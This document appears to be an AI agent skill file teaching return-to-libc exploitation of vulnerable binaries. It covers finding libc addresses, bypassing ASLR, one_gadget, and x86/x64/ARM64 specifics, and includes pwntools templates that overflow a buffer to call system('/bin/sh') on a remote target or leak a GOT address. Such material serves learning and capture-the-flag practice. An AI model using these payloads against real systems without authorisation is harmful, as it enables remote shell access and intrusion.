ret2lib-exploitation

name	ret2lib-exploitation
description	How to perform ret2lib attacks on vulnerable binaries. Use this skill whenever the user mentions ret2lib, return-to-libc, libc exploitation, calling system/execve from libc, bypassing NX with library functions, or needs to craft ROP chains to call libc functions. This skill covers finding libc addresses, handling ASLR, using one-gadget, and architecture-specific considerations (x86, x64, ARM64).

Ret2Lib Exploitation

Ret2Lib (Return-to-Libc) redirects execution flow to functions in shared libraries like libc.so instead of executing shellcode on the stack. This bypasses NX (non-executable stack) protections.

Core Concept

1. Find target function in libc (e.g., system, execve, printf)
2. Find argument data in libc (e.g., /bin/sh string)
3. Craft ROP chain to set up arguments per calling convention
4. Overflow buffer to redirect execution to the function

Finding Libc Addresses

Method 1: Using ldd

# Find where libc is loaded
ldd /path/to/binary | grep libc.so.6

# Check if ASLR randomizes libc (run multiple times)
for i in {1..5}; do ldd ./binary | grep libc; done

Method 2: Using readelf for function offsets

# Find system function offset
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

# Find /bin/sh string offset
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Method 3: Using GDB with PEDA/GEF

gdb ./binary
# After running the binary
p system          # Address of system
p exit            # Address of exit
find "/bin/sh"    # Find /bin/sh string

Method 4: Using /proc/<PID>/maps

For network servers or child processes:

# Read memory maps (may need root)
cat /proc/<PID>/maps | grep libc

# The first address shown is the libc base address
# Example: 0xb75dc000 is the base

Unknown Libc Version

When you don't know which libc the binary uses:

Option 1: Leak addresses and identify

1. Exploit the vulnerability to leak a libc function address
2. Use libc.blukat.me with 2 function addresses to identify the version
3. Download the matching libc and calculate offsets

Option 2: Use pwntools template

See rop-leaking-libc-template.md for automated libc identification.

Bypassing ASLR

32-bit Systems (Brute Force)

Local attacks:

for off in range(0xb7000000, 0xb8000000, 0x1000):
    # Try each possible libc base address

Remote attacks:

# Brute-force usleep address with argument 10
# If server delays 10 seconds, you found the address

64-bit Systems

ASLR brute force is impractical. Instead:

1. Leak a libc address first (via GOT, format string, etc.)
2. Calculate offsets from leaked address
3. Use the calculated addresses in your exploit

One-Gadget

For simpler exploitation, use one-gadget addresses that spawn a shell with a single jump:

# Find one-gadget addresses for your libc
one_gadget /lib/x86_64-linux-gnu/libc.so.6

# Example output:
# 0x45216 : execve("/bin/sh", ["/bin/sh"], ["/bin/sh"])

Architecture-Specific Considerations

x86 (32-bit)

• Arguments passed on stack (right-to-left)
• Use p32() in pwntools
• Stack grows downward

Example payload structure:

[padding][system_addr][exit_addr][binsh_addr]

x64 (64-bit)

• First 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9
• Need ROP gadgets to set registers
• Use p64() in pwntools

Common gadgets:

• pop rdi; ret - set first argument
• pop rsi; ret - set second argument
• pop rdx; ret - set third argument

ARM64

• ret jumps to X30 register, not stack pointer
• Cannot jump mid-instruction
• More complex ROP chains required
• See ret2lib-+-printf-leak-arm64.md for examples

Common Attack Patterns

Pattern 1: Basic Ret2Lib

from pwn import *

# Connect to target
p = remote('target', port)

# Find addresses
libc_base = 0xb75dc000  # From /proc/maps or leak
system_addr = libc_base + 0x3cb20
binsh_addr = libc_base + 0x1388da

# Craft payload
payload = b'A' * offset  # Fill buffer to overwrite return address
payload += p32(system_addr)
payload += p32(0xdeadbeef)  # Return address after system (can be exit or garbage)
payload += p32(binsh_addr)  # First argument to system

# Send exploit
p.sendline(payload)
p.interactive()

Pattern 2: Ret2Printf (Leak Address)

# Leak libc address by calling printf with GOT entry as argument
payload = b'A' * offset
payload += p32(printf_addr)
payload += p32(puts_got_addr)  # Address of puts in GOT

# Receive leaked address
leaked = u32(p.recv(4))
libc_base = leaked - puts_offset

Pattern 3: Ret2Printf Format String

Combine ret2lib with format string vulnerability:

# Use ret2lib to call printf with format string arguments
# This transforms ret2lib into a format string exploit

Debugging Tips

Verify libc base address

# In GDB
info proc mappings
# Look for libc.so.6 entry

Check if ASLR is enabled

cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full

Test locally first

# Disable ASLR for testing
setarch $(uname -m) -R ./binary

Common Pitfalls

1. Wrong calling convention - x86 uses stack, x64 uses registers
2. Missing null bytes - /bin/sh contains null terminator, use /bin/sh\x00 or find alternative
3. ASLR not accounted for - Always verify if ASLR is enabled
4. Wrong libc version - Offsets differ between libc versions
5. Stack alignment - Some functions require 16-byte stack alignment

Tools Checklist

• ldd - Find libc load address
• readelf - Find function offsets
• strings - Find string offsets
• gdb + PEDA/GEF - Debug and find addresses
• one_gadget - Find one-gadget addresses
• pwntools - Craft and send payloads
• libc.blukat.me - Identify libc version

Next Steps

After basic ret2lib:

1. Learn ROP chain construction for complex argument setup
2. Study format string vulnerabilities for address leaking
3. Practice heap exploitation for advanced scenarios
4. Explore ARM64 exploitation for mobile targets